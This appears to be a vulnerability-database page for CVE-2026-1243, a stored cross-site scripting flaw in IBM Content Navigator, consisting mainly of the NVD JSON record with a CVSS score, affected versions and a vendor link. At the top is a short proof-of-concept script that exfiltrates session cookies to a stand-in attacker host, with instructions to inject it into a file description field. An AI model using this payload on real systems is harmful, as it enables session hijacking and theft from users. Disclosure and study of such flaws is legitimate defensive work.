CVE-2026-1243

<!-- Simple PoC for Stored XSS --> <!-- Inject into a vulnerable field such as file description or metadata --> <script> // Payload to demonstrate execution via alert alert('XSS Vulnerability Confirmed'); // Payload to exfiltrate session cookies var img = new Image(); img.src = "http://attacker-controlled-server.com/steal?cookie=" + document.cookie; </script>

{"cve": {"id": "CVE-2026-1243", "sourceIdentifier": "[email protected]", "published": "2026-04-02T01:16:01.317", "lastModified": "2026-04-07T16:20:48.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Content Navigator 3.0.15, 3.1.0, and 3.2.0 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:content_navigator:3.0.15:-:*:*:*:*:*:*", "matchCriteriaId": "970464FB-088C-4325-8172-39DEC02B9AF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:content_navigator:3.1.0:-:*:*:*:*:*:*", "matchCriteriaId": "AF91A6FA-A5E4-4C15-AA11-A4D1CFBAF440"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:content_navigator:3.2.0:-:*:*:*:*:*:*", "matchCriteriaId": "9EF33918-7F0E-4034-91F4-950D5D030FD3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:*", "matchCriteriaId": "E492C463-D76E-49B7-A4D4-3B499E422D89"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7268006", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}